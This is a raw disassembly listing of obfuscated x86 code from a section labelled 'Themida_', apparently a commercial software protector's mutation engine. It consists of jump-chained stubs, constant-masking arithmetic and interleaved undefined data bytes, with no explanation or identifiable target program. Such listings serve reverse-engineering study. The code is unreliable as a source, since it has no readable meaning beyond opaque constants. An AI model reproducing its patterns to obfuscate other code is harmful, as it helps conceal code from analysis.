mov [esp], ebx mov ebx, esi push ebx xor dword ptr [esp], 7C707050h pop eax xor eax, 7C707050h mov ebx, [esp] jmp loc_5AA286 ; --------------------------------------------------------------------------- loc_5AC3A4: ; CODE XREF: Themida_:005A00B5j add ecx, edi add ecx, 59FF4778h sub ecx, 1511053Dh push edx push ebp mov ebp, 1F550FCBh jmp loc_5A4DCB ; --------------------------------------------------------------------------- loc_5AC3BE: ; CODE XREF: Themida_:005AD367j add esp, 4 xchg edx, esi jmp loc_5A740F ; --------------------------------------------------------------------------- dd 4EC8159h, 89000000h, 8852241Ch, 0E9F388E6h, 0FFFED9E7h ; --------------------------------------------------------------------------- loc_5AC3DC: ; CODE XREF: Themida_:005AB1A2j shl edi, 2 jmp loc_5A97F8 ; --------------------------------------------------------------------------- loc_5AC3E4: ; CODE XREF: Themida_:005A7A48j add ebx, 4 jmp loc_5A1745 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 24440100h, 815E5804h, 4C6h, 4916800h, 4890000h dd 0DB1BE924h, 30ACFFFEh, 65A568D8h, 0C0E90000h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC41B: ; CODE XREF: Themida_:0059F9A6j add dword ptr [esp], 11700B53h sub [esp], eax sub dword ptr [esp], 11700B53h pop eax sub eax, 54DBB17Ah add ebx, eax pop eax mov edi, [esp] add esp, 4 push 1ABFh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_59A88D ; --------------------------------------------------------------------------- loc_5AC45B: ; CODE XREF: Themida_:005A0FEFj movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 5Ah dd 0FF02CFE9h, 0D831ADFFh, 366268h, 24148900h, 0A34E7BBAh dd 7E2C12Ah, 21DF8B0Fh, 91E9FFFFh, 31FFFF87h, 0C33240Ch dd 335D5C24h, 248B241Ch, 9E69E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC49E: ; CODE XREF: Themida_:005A0622j pop ebp add esp, 4 shl eax, cl jmp loc_59880D ; --------------------------------------------------------------------------- dd 53240C89h, 0F4542EBBh, 41DAB91Ch, 0D1F761B1h, 0AE850F49h dd 8100002Ah, 55281DE1h, 468A0F43h, 0C1FFFFE7h db 0E9h, 4 ; --------------------------------------------------------------------------- loc_5AC4D2: ; CODE XREF: Themida_:005A3865j add ebx, eax sub esp, 4 mov [esp], ebp mov ebp, 54A66399h sub ebx, ebp pop ebp pop eax push eax jmp loc_59ECDC ; --------------------------------------------------------------------------- loc_5AC4EC: ; CODE XREF: Themida_:0059F891j pop ebx jmp loc_5AB56C ; --------------------------------------------------------------------------- dw 0CB29h dd 241C8759h, 241C895Ch, 6D90B951h, 0BE562D54h, 47A17FB7h dd 12AFEE81h, 870F7F33h, 0FFFF478Bh, 0FFE9EE81h, 0F3898E85h dd 0BADFE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC522: ; CODE XREF: Themida_:005A1EBFj mov [esp], edi push ebx mov ebx, 4 jmp loc_5A3A78 ; --------------------------------------------------------------------------- loc_5AC530: ; CODE XREF: Themida_:00598BC0j dec ah not ah sub ah, 0DFh jmp loc_5A7E80 ; --------------------------------------------------------------------------- dd 5C240487h, 3EA768h, 241C8900h, 564F4CBBh, 38BD5517h dd 8104540Eh, 0B3616DEDh, 81D5F752h, 921A6AEDh, 0E9E82949h dd 0FFFF2AD3h ; --------------------------------------------------------------------------- loc_5AC568: ; CODE XREF: Themida_:005AEDEBj xchg edx, [esp] pop esp xor al, dh pop edx push ecx mov cl, 2Eh add cl, 0FFh sub bl, cl pop ecx push ecx push eax push ecx mov cl, 62h mov al, cl pop ecx sub esp, 4 jmp loc_5A3BAD ; --------------------------------------------------------------------------- loc_5AC588: ; CODE XREF: Themida_:0059DF53j mov [esp], ax push 375Ah mov [esp], edx mov dh, 73h sub dh, 0FFh xor dh, 62h jmp loc_59A5B2 ; --------------------------------------------------------------------------- loc_5AC5A1: ; CODE XREF: Themida_:005ACE82j sub edx, 4 xchg edx, [esp] pop esp jmp loc_5994D5 ; --------------------------------------------------------------------------- loc_5AC5AD: ; CODE XREF: Themida_:005AA70Aj mov eax, [esp] add esp, 4 add ebx, 3CC5561h add ebx, esi sub ebx, 3CC5561h mov esi, [esp] add esp, 4 sub ebx, 4 jmp loc_5A7FE8 ; --------------------------------------------------------------------------- loc_5AC5D2: ; CODE XREF: Themida_:loc_5A524Dj jmp loc_5A93F7 ; --------------------------------------------------------------------------- loc_5AC5D7: ; CODE XREF: Themida_:0059CEBCj mov esi, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_598FE4 ; --------------------------------------------------------------------------- loc_5AC5E6: ; CODE XREF: Themida_:005AD08Aj xor ebx, eax push dword ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC5EF: ; CODE XREF: Themida_:005ACCD0j sub eax, 6B9E7975h mov edi, [esp] add esp, 4 jmp loc_5AB190 ; --------------------------------------------------------------------------- loc_5AC602: ; CODE XREF: Themida_:005A622Fj mov [esp], edx push esp jmp loc_5A5D8D ; --------------------------------------------------------------------------- loc_5AC60B: ; CODE XREF: Themida_:loc_5A6347j sub esi, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_59E90C ; --------------------------------------------------------------------------- loc_5AC61C: ; CODE XREF: Themida_:005AC1BDj pop ebp jmp loc_5A018F ; --------------------------------------------------------------------------- loc_5AC622: ; CODE XREF: Themida_:005A4C17j mov eax, [esp] push ebx push 1D0Dh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 jmp loc_5AE5C6 ; --------------------------------------------------------------------------- loc_5AC64C: ; CODE XREF: Themida_:005A67EAj mov bl, al pop eax pop edx sub al, bl pop ebx add al, 0A5h pop ecx jmp loc_59E222 ; --------------------------------------------------------------------------- db 0B8h dd 4, 1CE3E9h db 0 ; --------------------------------------------------------------------------- loc_5AC665: ; CODE XREF: Themida_:00599F67j add edx, ebx jmp loc_5A9F24 ; --------------------------------------------------------------------------- loc_5AC66C: ; CODE XREF: Themida_:loc_5AC2A4j pop dword ptr [edi+40h] jmp loc_5A498C ; --------------------------------------------------------------------------- loc_5AC674: ; CODE XREF: Themida_:005A5C9Bj ; Themida_:005A7EBDj pop edx jmp loc_5AEAFD ; --------------------------------------------------------------------------- dw 0E1C1h dd 70840F02h, 81FFFF12h, 623DDDE9h, 5AC981D4h, 0E9332656h dd 0FFFF813Ch ; --------------------------------------------------------------------------- loc_5AC694: ; CODE XREF: Themida_:005A9542j pop dword ptr [esp] pop esp push 3E60h jmp loc_5A1B8A ; --------------------------------------------------------------------------- loc_5AC6A2: ; CODE XREF: Themida_:0059DBC4j add ebx, edx jmp loc_5AAC09 ; --------------------------------------------------------------------------- loc_5AC6A9: ; CODE XREF: Themida_:0059A278j xor edi, 66312EFh push 2191h mov [esp], eax mov eax, 414040E5h neg eax push ebp mov ebp, 25B85600h add ebp, 44096E98h push ebx jmp loc_5A030F ; --------------------------------------------------------------------------- loc_5AC6D0: ; CODE XREF: Themida_:005A715Fj xor al, 89h jnp loc_59F1BE jmp loc_5AE68C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FEF545E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC6E5: ; CODE XREF: Themida_:00598E8Bj push esi mov esi, 7F014AB4h sub ebx, esi jmp loc_5A8B6C ; --------------------------------------------------------------------------- loc_5AC6F2: ; CODE XREF: Themida_:005ACF9Cj push esi mov esi, 20F623E6h add [esp+4], esi pop esi pop ebp sub ebp, 20F623E6h pop eax push ecx mov ecx, 0DE5FF141h jmp loc_5AC988 ; --------------------------------------------------------------------------- dd 73E98159h, 0F28C046h, 0FF7A8E84h, 6E1C1FFh, 0FFCD2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC725: ; CODE XREF: Themida_:005A06C6j add esp, 4 pop dword ptr [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_59F589 ; --------------------------------------------------------------------------- loc_5AC737: ; CODE XREF: Themida_:005986AFj xor edx, 0A9910682h push eax mov eax, 0FD02028h add eax, 21B67230h push edx mov edx, 3ADF663Dh add edx, 6C751A1Eh jmp loc_5A55A5 ; --------------------------------------------------------------------------- loc_5AC759: ; CODE XREF: Themida_:005A8B15j pop esp jmp loc_5A24B6 ; --------------------------------------------------------------------------- db 64h dd 25E932FFh db 0BCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC767: ; CODE XREF: Themida_:005AA096j mov ebx, ebp pop ebp pop edx push 41EAh mov [esp], ecx mov ecx, 12884444h jmp loc_59ECA4 ; --------------------------------------------------------------------------- db 31h, 0D9h, 53h dd 0C381E389h, 4, 0FF07FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC78D: ; CODE XREF: Themida_:005996B9j mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi push 76EFh mov [esp], esi mov esi, esp jmp loc_5AAC5F ; --------------------------------------------------------------------------- db 0Fh, 8Eh, 52h dd 80FFFEBEh, 0EA882BF5h, 3E2C059h, 28A2EA80h, 87045AD0h dd 0D000F004h, 872CF02Ch, 84E9AE04h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC7CF: ; CODE XREF: Themida_:005A1F99j ; Themida_:005A7AC2j mov [esp], ecx push esi jmp loc_59EF7F ; --------------------------------------------------------------------------- loc_5AC7D8: ; CODE XREF: Themida_:005A9A0Cj ; Themida_:005ADCD3j mov ecx, 74734377h xor ecx, ebx mov ebx, [esp] add esp, 4 xor edi, ecx mov ecx, [esp] add esp, 4 add esi, 25AE10B4h jmp loc_59CFDE ; --------------------------------------------------------------------------- loc_5AC7FB: ; CODE XREF: Themida_:0059D473j jns loc_59F1B9 jmp loc_5A50B4 ; --------------------------------------------------------------------------- dw 41E9h dd 89FFFF22h, 8F5C241Ch, 0BB76E902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC816: ; CODE XREF: Themida_:0059BC73j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5AA0A4 ; --------------------------------------------------------------------------- dd 0E9243C87h, 0FFFEE68Eh, 15DEF89h, 0C335FF9h, 240C3124h dd 5C240C33h, 31241C33h, 44E9241Ch, 56FFFFFCh, 5E2414F7h dd 0FF134AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC859: ; CODE XREF: Themida_:005A205Aj sub esp, 4 jmp loc_5A4042 ; --------------------------------------------------------------------------- loc_5AC861: ; CODE XREF: Themida_:005AB972j xor edx, 64A41935h add edx, 29DB4273h not edx xor edx, 0AAB67C80h push eax mov eax, 625221D3h xor eax, 66475951h add edx, 2CB11D3Bh jmp loc_5A9B55 ; --------------------------------------------------------------------------- loc_5AC88B: ; CODE XREF: Themida_:005A6D34j push 8F8h mov [esp], edx jmp loc_5ABDBE ; --------------------------------------------------------------------------- dd 8853B5B6h, 5BF988F7h, 5A2434FFh, 21BAE9h, 66F82800h dd 8668665Bh, 1C89666Ah, 0E9D1B724h, 0FFFF2BE4h ; --------------------------------------------------------------------------- loc_5AC8BC: ; CODE XREF: Themida_:005AD998j or eax, 79276846h jb loc_5A4EE9 jmp loc_5A8EB4 ; --------------------------------------------------------------------------- dd 0B0C68h, 24148900h, 1FEE6855h, 0AE955DAh, 81FFFF16h dd 7738CEBh, 0E2FEE979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC8EA: ; CODE XREF: Themida_:005A3122j push ebx push edx mov dh, 3 jmp loc_5A402F ; --------------------------------------------------------------------------- loc_5AC8F3: ; CODE XREF: Themida_:005A1410j jnz loc_59B160 sub al, 0E0h sub bl, al pop ax push dword ptr [esp] mov esi, esi sub ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx push esi push 5AF02E9h pop esi sub esi, 0D420DF8Fh jmp loc_5A6C89 ; --------------------------------------------------------------------------- loc_5AC926: ; CODE XREF: Themida_:005A1994j push esp pop ebx push esi mov esi, 4 add ebx, esi jmp loc_5A269A ; --------------------------------------------------------------------------- loc_5AC935: ; CODE XREF: Themida_:005A4846j mov ecx, 4 sub esi, 70DF078Ch jmp loc_59EE2C ; --------------------------------------------------------------------------- loc_5AC945: ; CODE XREF: Themida_:0059BE2Bj jmp loc_5AA941 ; --------------------------------------------------------------------------- loc_5AC94A: ; CODE XREF: Themida_:loc_5A0256j ; Themida_:005AEFC3j mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A138F ; --------------------------------------------------------------------------- loc_5AC961: ; CODE XREF: Themida_:0059FC09j push ecx mov ecx, 7DDE7365h jmp loc_5A5F18 ; --------------------------------------------------------------------------- loc_5AC96C: ; CODE XREF: Themida_:0059CA11j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC971: ; CODE XREF: Themida_:0059FB7Ej mov ecx, eax pop eax add ecx, 59C94DA2h add ecx, eax push ebx mov ebx, 59C94DA2h push ebx jmp loc_5A6EF7 ; --------------------------------------------------------------------------- loc_5AC988: ; CODE XREF: Themida_:005AC70Bj add ebp, 24736628h add ebp, ecx sub ebp, 24736628h pop ecx or ecx, ebp pop ebp xor ecx, 1F5B7FFFh and eax, ecx push dword ptr [esp] jmp loc_5AF36A ; --------------------------------------------------------------------------- loc_5AC9AA: ; CODE XREF: Themida_:0059DA69j mov [esp], eax push edx mov edx, 338456C6h mov eax, 393C21D9h xor eax, 23545F61h neg eax jmp loc_59BE30 ; --------------------------------------------------------------------------- dd 41BE564Bh, 177F731h, 9EE95EF3h db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC9D3: ; CODE XREF: Themida_:005A01B5j push 519869EDh mov ebp, [esp] add esp, 4 sub dword ptr [esp+8], 51512EABh add [esp+8], ebp add dword ptr [esp+8], 51512EABh pop ebp pop ebp push dword ptr [esp] jmp loc_59902D ; --------------------------------------------------------------------------- loc_5AC9FC: ; CODE XREF: Themida_:005A762Aj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5AD62D ; --------------------------------------------------------------------------- dd 9E6855B8h, 0D5F0E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACA1E: ; CODE XREF: Themida_:005ABD93j sub ebx, 1A3F044Bh pop esi jmp loc_5A072D ; --------------------------------------------------------------------------- loc_5ACA2A: ; CODE XREF: Themida_:005A2321j or eax, 55177639h xor eax, 233B7C52h jmp loc_599D72 ; --------------------------------------------------------------------------- loc_5ACA39: ; CODE XREF: Themida_:005AC059j xor ebx, 7E11CD27h sub eax, ebx mov ebx, [esp] add esp, 4 add eax, edx push ebp mov ebp, 8AB234Ch neg ebp push eax mov eax, 1437F44h shl eax, 1 sub eax, 273A6CB6h xor ebp, eax pop eax add eax, ebp pop ebp pop edx push esi jmp loc_59A404 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EC8100h, 89000000h, 0E189240Ch, 4C181h, 0BA520000h dd 4, 0E95AD129h, 0FFFEC17Eh ; --------------------------------------------------------------------------- loc_5ACA90: ; CODE XREF: Themida_:0059E51Aj push 7168h mov [esp], ecx jmp loc_5AC1F3 ; --------------------------------------------------------------------------- loc_5ACA9D: ; CODE XREF: Themida_:005A021Aj add esp, 4 push eax mov eax, 4 add esi, 78411C12h add esi, eax sub esi, 78411C12h jmp loc_5AD645 ; --------------------------------------------------------------------------- dd 0F6EF480h, 0FF3D008Bh, 10C480FFh, 0E9E28852h, 0FFFF02A8h ; --------------------------------------------------------------------------- loc_5ACAD0: ; CODE XREF: Themida_:005A0D5Fj mov ebx, esi jmp loc_5A108C ; --------------------------------------------------------------------------- loc_5ACAD7: ; CODE XREF: Themida_:0059FB0Ej pop ebp xor eax, edx pop edx push eax jmp loc_59FC24 ; --------------------------------------------------------------------------- loc_5ACAE1: ; CODE XREF: Themida_:005AE56Dj push dword ptr [esp] pop ecx add esp, 4 shr eax, 8 jmp loc_5A97B0 ; --------------------------------------------------------------------------- loc_5ACAF3: ; CODE XREF: Themida_:005A35D2j mov ebx, 0F864046h sub ebx, 0F3831454h mov esi, ebx mov ebx, [esp] add esp, 4 mov ebx, 148A3E85h add ebx, esi mov esi, [esp] add esp, 4 push ebp mov ebp, 5FC661BEh push esi mov esi, 0A482186h jmp loc_5A2277 ; --------------------------------------------------------------------------- loc_5ACB24: ; CODE XREF: Themida_:005AF3C6j push ecx mov cl, 5Bh mov al, cl jmp loc_59F8F1 ; --------------------------------------------------------------------------- loc_5ACB2E: ; CODE XREF: Themida_:0059DB47j sub ecx, edi pop edi xor ecx, 2D01EBEh add ecx, 18B83EFBh xor ecx, 11B19EAh push ecx push eax mov eax, 52C23160h sub [esp+4], eax pop eax pop esi add esi, 52C23160h pop ecx add [esp+4], esi pop esi jmp loc_5ABE00 ; --------------------------------------------------------------------------- db 0BAh, 0FCh, 3Eh dd 0E2C16FADh, 0E0CE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACB6E: ; CODE XREF: Themida_:005ACE50j push ebx push 738D4AA8h mov ebx, [esp] jmp loc_59F34D ; --------------------------------------------------------------------------- loc_5ACB7C: ; CODE XREF: Themida_:005AE0D3j pop ebp push ebp push edx jmp loc_59A837 ; --------------------------------------------------------------------------- loc_5ACB84: ; CODE XREF: Themida_:005ABD8Cj push esp mov ebx, [esp] push edi mov edi, esp push ebx mov ebx, 4E8F341Ah or ebx, 72C81B47h neg ebx shr ebx, 5 neg ebx and ebx, 419A39FAh add ebx, 0BE6DC60Ah add edi, ebx pop ebx add edi, 4 jmp loc_5AF127 ; --------------------------------------------------------------------------- loc_5ACBB8: ; CODE XREF: Themida_:00599FFCj ; Themida_:005A9B7Ej pop edx jmp loc_5A390A ; --------------------------------------------------------------------------- loc_5ACBBE: ; CODE XREF: Themida_:005A796Bj add esp, 4 add ecx, 1 xor ecx, 0CF4399D8h mov edx, ecx pop ecx jmp loc_5A9C6D ; --------------------------------------------------------------------------- loc_5ACBD5: ; CODE XREF: Themida_:0059A605j mov [esp], ecx jmp loc_5A6946 ; --------------------------------------------------------------------------- loc_5ACBDD: ; CODE XREF: Themida_:005AE64Ej push esi push ebp mov ebp, 45712B54h jmp loc_5AF22A ; --------------------------------------------------------------------------- loc_5ACBE9: ; CODE XREF: Themida_:005A1F25j sub esp, 4 mov [esp], esi mov esi, 50A66456h jmp loc_59D040 ; --------------------------------------------------------------------------- dd 4C581h, 0ED810000h, 4, 0FF35ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACC0D: ; CODE XREF: Themida_:005A7EEFj pop ebx or ebx, 5DC9690Ah jmp loc_5A23A1 ; --------------------------------------------------------------------------- loc_5ACC19: ; CODE XREF: Themida_:0059DA52j not esi xchg esi, ebp jmp loc_5ADD37 ; --------------------------------------------------------------------------- loc_5ACC22: ; CODE XREF: Themida_:005A0180j pop esp mov [esp], edx push 751A7FA5h push dword ptr [esp] pop edx add esp, 4 dec edx js loc_5A22DC shl edx, 1 jnz loc_5ADF52 xor edx, 8B21CDFFh push ebp mov ebp, edx push esi mov esi, ebp mov eax, esi loc_5ACC52: ; CODE XREF: Themida_:005A0457j mov [esp], edi push esp jmp loc_599725 ; --------------------------------------------------------------------------- align 4 dd 0B15166D0h, 66C8288Eh, 83240C8Bh, 0CE902C4h db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACC6F: ; CODE XREF: Themida_:0059BF9Ej mov esi, [esp] push eax jmp loc_5A6A86 ; --------------------------------------------------------------------------- loc_5ACC78: ; CODE XREF: Themida_:005A1F36j push esp pop ebx push edx push eax mov eax, 3CA95C35h mov edx, 3CA95C39h sub edx, eax pop eax add ebx, edx mov edx, [esp] add esp, 4 add ebx, 4 jmp loc_5A545E ; --------------------------------------------------------------------------- loc_5ACC99: ; CODE XREF: Themida_:0059B89Bj push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5A86CE ; --------------------------------------------------------------------------- loc_5ACCB9: ; CODE XREF: Themida_:0059BFA9j pop esi mov esi, [esp] add esp, 4 push eax jmp loc_59DD61 ; --------------------------------------------------------------------------- loc_5ACCC9: ; CODE XREF: Themida_:005A5F35j add eax, 6B9E7975h add eax, edi jmp loc_5AC5EF ; --------------------------------------------------------------------------- db 58h, 0D1h, 0E0h dd 9B6F8925h, 72A7350Ch, 0D8F72B74h, 8EC8A235h, 0E9C629D1h dd 0FFFF206Ah ; --------------------------------------------------------------------------- loc_5ACCF0: ; CODE XREF: Themida_:0059A7A6j mov edx, 52A00D56h jmp loc_5AAEBA ; --------------------------------------------------------------------------- loc_5ACCFA: ; CODE XREF: Themida_:005AA0BCj ; Themida_:005AB5CBj inc al jo loc_598A4D or al, 0A2h jp loc_598C19 jmp loc_5A7870 ; --------------------------------------------------------------------------- db 0F7h dd 88FB8AD9h db 0DAh ; --------------------------------------------------------------------------- loc_5ACD15: ; CODE XREF: Themida_:00599346j jmp loc_59F000 ; --------------------------------------------------------------------------- dw 1C89h dd 62B85024h, 0E90EC529h, 0FFFF48A1h ; --------------------------------------------------------------------------- loc_5ACD28: ; CODE XREF: Themida_:005A1DA9j add ch, ah mov eax, [esp] add esp, 4 push eax mov ah, ch mov dh, ah pop eax mov ecx, [esp] jmp loc_5AAA59 ; --------------------------------------------------------------------------- loc_5ACD3E: ; CODE XREF: Themida_:005A3DBBj jmp loc_59838C ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 3B8B6824h, 0E95F1FB4h, 0FFFFAE92h ; --------------------------------------------------------------------------- loc_5ACD54: ; CODE XREF: Themida_:005A839Fj sub edi, 2B745770h add edi, edx add edi, 2B745770h pop edx pop ecx push 1E0h mov [esp], edx mov edx, 2 sub edi, edx jmp loc_59A909 ; --------------------------------------------------------------------------- loc_5ACD78: ; CODE XREF: Themida_:00598EB5j sub esp, 4 mov [esp], esi mov esi, 744A46h push 21E0h mov [esp], edx jmp loc_5A9C0D ; --------------------------------------------------------------------------- dd 4CC1B951h, 0E95726CEh, 145Ah, 0FF2434FFh, 83582434h dd 0C48104C4h, 4, 8904EC83h, 0A68242Ch, 5D06D337h, 0D41D6005h dd 6F412D78h, 21E977BAh db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACDC7: ; CODE XREF: Themida_:0059857Fj mov ebp, 2E1B7E3Eh xor edx, ebp pop ebp dec edx jg loc_5A6FF8 xor edx, 7BCA0505h jnz loc_59DFD0 xor edx, 0F2336367h mov ebx, edx mov edx, [esp] add esp, 4 loc_5ACDF0: ; CODE XREF: Themida_:005AE322j not ebp sub ebp, 2E6165BCh sub ebp, 6F27824Dh add ecx, 3CE058C1h jmp loc_5AB6D3 ; --------------------------------------------------------------------------- loc_5ACE09: ; CODE XREF: Themida_:loc_5A7510j jmp loc_59940C ; --------------------------------------------------------------------------- loc_5ACE0E: ; CODE XREF: Themida_:005989AFj ; Themida_:005AE86Dj mov [esp], edx mov dl, 51h add dl, 7Fh mov ah, 75h add ah, dl pop edx jmp loc_59E17E ; --------------------------------------------------------------------------- loc_5ACE20: ; CODE XREF: Themida_:005A6D90j xchg ebp, [esp] jmp loc_5A0DDF ; --------------------------------------------------------------------------- loc_5ACE28: ; CODE XREF: Themida_:00599216j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 28FB0F46h add eax, 17882C61h sub eax, ecx sub eax, 17882C61h add eax, 28FB0F46h pop ecx jmp loc_5ACB6E ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 0FF5067E9h, 4ECBDFFh, 0CD81459Ch, 15A101D4h, 0E903EDC1h dd 0FFFF631Eh ; --------------------------------------------------------------------------- loc_5ACE70: ; CODE XREF: Themida_:0059BD17j add ebp, 2 xchg ebp, [esp] pop esp jmp loc_5A9F72 ; --------------------------------------------------------------------------- loc_5ACE7C: ; CODE XREF: Themida_:005A9F6Dj add edx, 4 jmp loc_5AC5A1 ; --------------------------------------------------------------------------- loc_5ACE87: ; CODE XREF: Themida_:005A2B41j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_5A9C79 ; --------------------------------------------------------------------------- db 68h, 96h, 4 dd 24890000h, 4B85024h, 1000000h, 58042444h, 8124148Bh dd 4C4h, 518D6800h, 3C890000h, 0F85E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACEC2: ; CODE XREF: Themida_:005A19A4j jmp loc_59838C ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EE8300h, 0FF7BA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACED5: ; CODE XREF: Themida_:00598A71j sub edx, ecx pop ecx add edx, ebp push ecx jmp loc_5AEC28 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 4BB24h, 0DA010000h, 0FFB796E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACEF5: ; CODE XREF: Themida_:005A0FD0j push edx mov edx, 4 push esi mov esi, 29471047h sub ecx, esi jmp loc_59E878 ; --------------------------------------------------------------------------- loc_5ACF08: ; CODE XREF: Themida_:005A73AFj mov edi, 348D12F3h xor edx, edi mov edi, [esp] push ebp jmp loc_5A5187 ; --------------------------------------------------------------------------- loc_5ACF18: ; CODE XREF: Themida_:005A2C14j add esp, 4 push ecx mov ecx, esi mov eax, ecx pop ecx pop esi add edi, eax mov eax, [esp] add esp, 4 sub edi, 4 jmp loc_5AC117 ; --------------------------------------------------------------------------- loc_5ACF35: ; CODE XREF: Themida_:0059E0F6j mov [esp], ebp mov ebp, esp add ebp, 4 push ecx sub esp, 4 mov [esp], esi jmp loc_5A342D ; --------------------------------------------------------------------------- db 8Bh dd 89572404h, 0CA0DE9E7h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACF5A: ; CODE XREF: Themida_:005A62A7j push esi push 164207Dh mov esi, [esp] add esp, 4 dec esi jle loc_5A28C4 xchg eax, esi jmp loc_59CB39 ; --------------------------------------------------------------------------- loc_5ACF73: ; CODE XREF: Themida_:005AA0F3j pop ecx xor ebx, eax mov dx, [esp] push ecx jmp loc_5AE31A ; --------------------------------------------------------------------------- dd 0E959CF89h, 0FFFF218Ch, 0FD850F4Bh, 81FFFF3Ah, 845715EBh dd 14E9530Ah db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACF9B: ; CODE XREF: Themida_:0059C52Dj ; Themida_:005A9B9Bj push eax jmp loc_5AC6F2 ; --------------------------------------------------------------------------- aUhD db 'Uh!D',0 dw 8900h dd 2DBE2434h, 816D020Bh, 0CB1D97E6h, 0F208E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACFBA: ; CODE XREF: Themida_:005A6800j add esp, 4 add ebx, edi push 7418h mov [esp], edx push 7C67h mov [esp], ecx mov ecx, 0 jmp loc_5AA3B9 ; --------------------------------------------------------------------------- loc_5ACFD9: ; CODE XREF: Themida_:005A143Bj ; Themida_:005ADD01j add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_5AD1E0 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 0FF7F4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACFF5: ; CODE XREF: Themida_:00598628j sub esp, 4 jmp loc_59BCFB ; --------------------------------------------------------------------------- loc_5ACFFD: ; CODE XREF: Themida_:005A2BA8j ; Themida_:005AAFE7j sub bl, dl add bl, 41h jmp loc_59A794 ; --------------------------------------------------------------------------- loc_5AD007: ; CODE XREF: Themida_:005A92E9j push edx mov edx, 7C362328h xor eax, edx mov edx, [esp] add esp, 4 jmp loc_5AA8EF ; --------------------------------------------------------------------------- loc_5AD01D: ; CODE XREF: Themida_:0059C7DFj mov ebp, ebx pop ebx add edx, ebp mov ebp, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A706F ; --------------------------------------------------------------------------- loc_5AD039: ; CODE XREF: Themida_:0059AC04j mov [esp], edi mov edi, 6C6245D7h jmp loc_5A8A0D ; --------------------------------------------------------------------------- loc_5AD046: ; CODE XREF: Themida_:005A0124j sub esi, 76D50DABh jmp loc_5A76E3 ; --------------------------------------------------------------------------- loc_5AD051: ; CODE XREF: Themida_:005A7A1Ej mov ebx, 4 jmp loc_5A461C ; --------------------------------------------------------------------------- db 81h dd 616242Ch, 3C8B49F0h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59CF10 ; --------------------------------------------------------------------------- loc_5AD07A: ; CODE XREF: Themida_:005AB541j add ebx, 58FF11C1h jmp loc_5A877B ; --------------------------------------------------------------------------- loc_5AD085: ; CODE XREF: Themida_:0059EEF0j pop ecx xchg eax, [esp] pop esp jmp loc_5AC5E6 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEB2F8h ; --------------------------------------------------------------------------- loc_5AD094: ; CODE XREF: Themida_:loc_5995F3j shr ecx, 6 jnp loc_59A66B xor ecx, 2DE2309Bh push edi mov edi, 792EA419h xor ecx, edi pop edi jmp loc_5ADB64 ; --------------------------------------------------------------------------- loc_5AD0B1: ; CODE XREF: Themida_:005A9849j push dword ptr [esp] mov ebp, [esp] jmp loc_5AB1CF ; --------------------------------------------------------------------------- loc_5AD0BC: ; CODE XREF: Themida_:005A8B1Fj push esi push ecx mov ecx, 150B683Dh jmp loc_59D59A ; --------------------------------------------------------------------------- loc_5AD0C8: ; CODE XREF: Themida_:005AE966j mov bl, 5 push 5B84h mov [esp], eax mov ah, 8Ch shl ah, 8 